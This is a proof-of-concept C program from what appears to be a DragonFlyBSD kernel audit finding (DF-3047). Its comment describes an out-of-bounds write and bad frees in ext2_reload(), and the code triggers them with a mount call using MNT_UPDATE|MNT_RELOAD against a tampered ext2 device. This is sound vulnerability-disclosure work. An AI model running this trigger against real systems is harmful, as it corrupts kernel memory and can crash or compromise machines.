DragonFlyBSD Kernel Audit
DF-3047 / reloadtrigger.c
← back to finding ↓ download raw
/*
 * reloadtrigger.c - DF-3047 PoC: issue mount(2) with MNT_UPDATE|MNT_RELOAD
 * against a read-only ext2 mount whose backing device content was replaced
 * with a filesystem of different (larger) group count.
 *
 * ext2_mount(MNT_UPDATE) -> ext2_reload() -> ext2_compute_sb_data()
 * mutates fs->e2fs_gcount and re-allocates e2fs_gd/e2fs_contigdirs, but
 * e2fs_maxcluster / e2fs_clustersum stay sized for the OLD group count;
 * ext2_reload()'s step-3 loop then writes OOB and bzero()s cs_sum pointers
 * read OOB; ext2_unmount() later free()s those OOB pointers.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* matches struct ext2_args (fspec + export_args); all NULL/zero */
struct ext2_args_min {
	char *fspec;
	char exportpad[128];
};

int
main(int argc, char **argv)
{
	struct ext2_args_min args;
	int rv;

	if (argc < 2) {
		fprintf(stderr, "usage: %s /mountpoint\n", argv[0]);
		return (2);
	}
	memset(&args, 0, sizeof(args));
	args.fspec = NULL;	/* reload happens before the fspec check */

	rv = mount("ext2fs", argv[1], MNT_UPDATE | MNT_RELOAD, &args);
	printf("mount(MNT_UPDATE|MNT_RELOAD) rc=%d\n", rv);
	if (rv != 0)
		perror("mount");
	return (rv);
}